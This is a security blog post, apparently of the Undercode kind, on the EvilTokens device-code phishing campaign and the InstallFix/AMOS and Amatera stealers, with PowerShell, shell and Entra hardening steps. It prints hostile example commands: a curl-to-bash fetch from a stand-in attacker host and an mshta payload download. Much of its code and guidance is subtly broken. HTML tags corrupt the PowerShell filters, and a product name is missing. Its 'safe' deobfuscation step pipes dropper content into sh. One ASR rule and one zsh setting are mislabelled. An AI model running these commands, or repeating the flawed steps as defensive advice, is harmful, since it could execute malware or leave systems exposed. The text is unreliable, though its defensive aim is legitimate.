Listen to this Post
Introduction
In March 2026, a new breed of phishing campaign dubbed “EvilTokens” emerged, weaponizing Microsoft’s OAuth 2.0 Device Code flow to silently compromise enterprise accounts without requiring any password. The attack represents a critical evolution in adversary tradecraft, where the victim unknowingly authorizes an attacker’s session on a legitimate Microsoft login page, thereby granting the threat actor a valid refresh token that bypasses traditional MFA. Simultaneously, a parallel campaign targeting macOS developers uses a ClickFix variant called “InstallFix” to distribute the AMOS infostealer through fraudulent installation guides for AI tools like Code. These two distinct but concurrent threat vectors highlight a fundamental shift: attackers are no longer breaking in—they are logging in with stolen, valid tokens.
Learning Objectives
Analyze EvilTokens Mechanics: Understand how threat actors abuse the OAuth 2.0 Device Authorization Grant flow to bypass MFA and harvest persistent refresh tokens.
Identify InstallFix/AMOS Techniques: Learn how adversaries exploit AI developer trust via Google malvertising and cloned CLI documentation to deploy cross-platform stealers.
Implement Detection & Hardening: Deploy PowerShell-based hunting queries, Conditional Access controls, and macOS security configurations to detect and block these campaigns.
1. Demystifying the EvilTokens OAuth Device Code Abuse
The EvilTokens phishing campaign leverages a legitimate OAuth 2.0 flow (RFC 8628) designed for input-limited devices like smart TVs. The attacker acts as the “device,” initiating an authentication request to Microsoft’s `/devicecode` endpoint to obtain a device and user code. The victim receives a phishing email containing this code and is instructed to visit `microsoft.com/devicelogin` (a real Microsoft domain) to enter it. Upon entry, the victim completes the full authentication process, including MFA, thereby authorizing the attacker’s session. Microsoft then issues an access token and a long-lived refresh token directly to the attacker’s command-and-control infrastructure. This technique is being distributed as a Phishing-as-a-Service (PhaaS) platform called EvilTokens, which has driven a 37.5x surge in device code phishing attacks in early 2026.
Step-by-step guide to detect EvilTokens using Azure AD Sign-in logs (PowerShell):
Step 1: Connect to AzureAD with the required permissions.
Install the module if not present Install-Module -Name AzureAD -Force -AllowClobber Connect to Azure AD Connect-AzureAD Ensure you have the necessary audit log access
Step 2: Query sign-in logs for the `DeviceCode` authentication protocol, which should rarely appear in enterprise environments.
Retrieve logs for the last 7 days, filtering for DeviceCode flows
$startTime = (Get-Date).AddDays(-7)
$logs = Get-AzureADAuditSignInLogs -Filter "createdDateTime ge $($startTime.ToString('yyyy-MM-ddTHH:mm:ssZ'))"
Filter for device code authentications
$deviceCodeLogs = $logs | Where-Object { $<em>.AuthenticationRequirement -eq "singleFactorAuthentication" -or $</em>.AuthenticationProcessingDetails -like "device code" }
Output suspicious logs
$deviceCodeLogs | Select-Object CreatedDateTime, UserPrincipalName, ClientAppUsed, IPAddress, Status
Step 3: Hunt for refresh token abuse by checking for suspicious User Agents or IPs associated with the authentication.
Look for authentications from non-corporate IPs with device code flow
$suspicious = $deviceCodeLogs | Where-Object { $<em>.IPAddress -notlike "10." -and $</em>.IPAddress -notlike "192.168." }
Write-Host "Suspicious Device Code Logins from External IPs:"
$suspicious | Format-Table
Step 4: Use Microsoft Graph Explorer API to audit for tokens issued to unknown devices or applications.
REST API query to find OAuth 2.0 device code grants GET https://graph.microsoft.com/v1.0/auditLogs/signIns?$filter=clientAppUsed eq 'Device Code Flow'
Mitigation: In Microsoft Entra Admin Center, navigate to Conditional Access > Named Locations and create a policy to block device code flow for all users except a specific exempted group (e.g., service accounts for legacy devices).
2. Deconstructing the ClickFix/InstallFix Attack Chain on macOS
While EvilTokens targets cloud identities, the March 2026 campaign also heavily targeted macOS developers using a ClickFix variant known as InstallFix. Adversaries purchase Google Search ads for keywords like “ Code install” or “OpenClaw download,” leading victims to perfect clones of legitimate documentation hosted on platforms like Squarespace. The cloned page looks identical to the original, but the installation command is malicious.
Step-by-step guide to analyze and block the AMOS infostealer deployment:
Step 1: Simulate the malicious payload extraction. A typical malicious command on the fake Code page appears as a Base64-encoded string embedded in a `curl` pipe to bash.
Malicious command example (DO NOT RUN): curl -s https://attacker[.]com/install.sh | bash To analyze safely, download the script without executing: curl -s https://attacker[.]com/install.sh -o malicious_amos_dropper.sh
Step 2: Deobfuscate the script to find the AMOS payload URL. Use `grep` and `base64` to decode the actual binary URL.
Extract and decode base64 strings cat malicious_amos_dropper.sh | grep -o 'base64 -d.' | cut -d '|' -f1 | sh Look for the Mach-O binary download URL in the output strings malicious_amos_dropper.sh | grep -E 'https?://'
Step 3: Manually hunt for AMOS persistence on a compromised macOS endpoint using `launchctl` and find.
Check for suspicious launch agents added by AMOS
find ~/Library/LaunchAgents -name ".plist" -exec grep -l "python|curl|wget" {} \;
Verify the plist permissions
ls -la ~/Library/LaunchAgents/
Check for recently modified files in the Applications folder
find /Applications -type f -name ".app" -mtime -7
Monitor for outbound connections to known AMOS C2 patterns using netstat
lsof -i | grep ESTABLISHED | grep -v "localhost"
Step 4: Implement a macOS configuration profile to block unsigned or untrusted application execution via Gatekeeper and Notarization.
Ensure Gatekeeper is enabled and set to App Store and identified developers sudo spctl --master-enable sudo spctl --assess --verbose /Applications/Suspicious.app Block curl-based one-liners by restricting shell history usage in ZSH echo "setopt HIST_IGNORE_SPACE" >> ~/.zshrc This prevents commands starting with a space from being saved, but also allows security tools to audit
3. Windows Payload Analysis: The Amatera Stealer (MaaS)
For Windows users tricked by the InstallFix campaign, the payload is the Amatera stealer, a Malware-as-a-Service (MaaS) variant of the ACR Stealer. The malicious command often leverages `mshta.exe` to execute JavaScript or VBScript that retrieves the final binary from a remote server.
Step-by-step guide to extract and detect Amatera indicators:
Step 1: Simulate the malicious `mshta` command in a sandbox.
Example of malicious command: mshta.exe javascript:window.execScript("http://evil[.]com/payload.hta")
Step 2: Use Sysinternals `Autoruns` to check for persistence mechanisms in the Windows Registry.
PowerShell query to check Run keys for Amatera Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Step 3: Hunt for `conhost.exe` or `mshta.exe` spawning suspicious child processes using Event Logs (Event ID 4688).
Query Security logs for mshta or conhost spawning PowerShell
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object {$<em>.Message -match "mshta.exe" -or $</em>.Message -match "conhost.exe"} | Format-List
Step 4: Block `mshta.exe` execution via AppLocker or Windows Defender ASR rule.
Add ASR rule to block mshta child process executions (BlockOfficeCreateProcessRule) Add-MpPreference -AttackSurfaceReductionRules_Ids "D4F940AB-401B-4EFC-AADC-AD5F3C50688A" -AttackSurfaceReductionRules_Actions Enabled
- Conditional Access Hardening to Prevent Device Code Phishing
The most effective mitigation against EvilTokens is to disable the Device Code flow entirely if it is not required. Microsoft Entra ID allows this via Conditional Access.
Step-by-step guide to blocking Device Code Flow:
Step 1: Navigate to Microsoft Entra admin center > Protection > Conditional Access.
Step 2: Click + New policy and name it “Block Device Code Flow for All Users.”
Step 3: Under Assignments > Users, select “All users.” Under Target resources > Cloud apps, select “All cloud apps.”
Step 4: Under Conditions > Client apps (Preview), configure the filter to target “Device Code Flow.”
Step 5: Under Access controls > Grant, select “Block access.”
Step 6: Set the policy to Report-only initially for 24 hours to analyze impact, then switch to On.
Step 7: Create an exclusion group for break-glass accounts or legacy devices that legitimately require the flow.
Step 8: Monitor the Conditional Access insights and reporting workbook to see if any users are attempting device code authentication.
5. Token Binding and Refresh Token Rotation Strategy
Since EvilTokens relies on token theft, implementing token binding (Proof-of-Possession) and strict refresh token policies is critical.
Step-by-step guide to configure token protection:
Step 1: In Microsoft Entra ID, enable Token Protection for Conditional Access policies, which binds the token to the specific device (Windows 11 or iOS only currently).
Step 2: Configure Token lifetime policies using PowerShell.
Create a policy to limit refresh token usage to 14 days
$params = @{
Definition = @('{"TokenLifetimePolicy":{"Version":1,"MaxAgeSingleFactor":"14.00:00:00","MaxAgeMultiFactor":"14.00:00:00"}}')
DisplayName = "TokenLifetime14Days"
}
New-AzureADPolicy -Definition $params.Definition -DisplayName $params.DisplayName -Type "TokenLifetimePolicy"
Assign to specific service principals
Add-AzureADServicePrincipalPolicy -Id <ServicePrincipalId> -RefObjectId <PolicyId>
Step 3: Enforce Continuous Access Evaluation (CAE) to ensure token revocation happens instantly when a user’s risk changes, rather than waiting for expiration.
- User Awareness Training: Spotting the “Device Login” Phish
The final layer of defense is human detection. Users need to be trained to recognize when they are being tricked into a device code phishing trap.
Step-by-step guide for security teams to train users:
Step 1: Explain to employees that they should never enter a code on `microsoft.com/devicelogin` unless they personally just initiated a sign-in on a TV or printer.
Step 2: Show examples of phishing emails that claim “Your document is ready” or “Action required: Verify your session,” which contain a 6-8 digit code.
Step 3: Implement simulated device code phishing campaigns using open-source tools like `Evilginx2` to test employee resilience.
Step 4: Create a “Stop and Report” workflow: If an employee enters a code, they must immediately report the incident to IT for token revocation.
Step 5: Revoke sessions instantly using PowerShell if a user reports a mistake:
Revoke-AzureADUserAllRefreshToken -ObjectId <user-object-id>
What Undercode Say
EvilTokens represents a paradigm shift in phishing. By abusing the OAuth Device Code flow, attackers completely bypass the need for fake login pages or credential harvesting, rendering traditional MFA and email filtering almost useless against this vector. The fact that this is now a PhaaS platform accessible to low-skilled criminals democratizes sophisticated token theft at an alarming scale. The 37.5x increase in attacks indicates that defenders have a very narrow window to adapt before this becomes the default method of account takeover.
The convergence of AI tooling and social engineering is the new frontier for malware distribution. The ClickFix/InstallFix campaign targeting Code users is not just a malware drop; it is a highly effective trust exploitation technique. Developers, conditioned to copy-paste commands from GitHub and documentation, are inadvertently becoming the weakest link. By abusing Google Ads to appear above legitimate results, attackers are effectively hijacking the entire software supply chain for AI tools. The only reliable defense is a zero-trust mindset applied to development environments—never trust a command string you did not manually type and verify against official documentation, and enforce endpoint detection for macOS that specifically monitors `curl | bash` patterns.
Prediction: By Q4 2026, identity providers (IdPs) will be forced to deprecate the OAuth Device Code flow for general-purpose user accounts, restricting it exclusively to verified IoT/device service principals. Furthermore, we will see a rapid rise in browser-based “token binding” standards, effectively killing the bearer token concept for web applications. For the AI developer ecosystem, supply chain attacks will intensify, with threat actors moving beyond simple ads to poisoning the training data or documentation of AI code assistants themselves, leading to automated malicious code insertion during autocomplete. The era of trusting the UI or the search result is over.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Cybersecuritynews Share – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
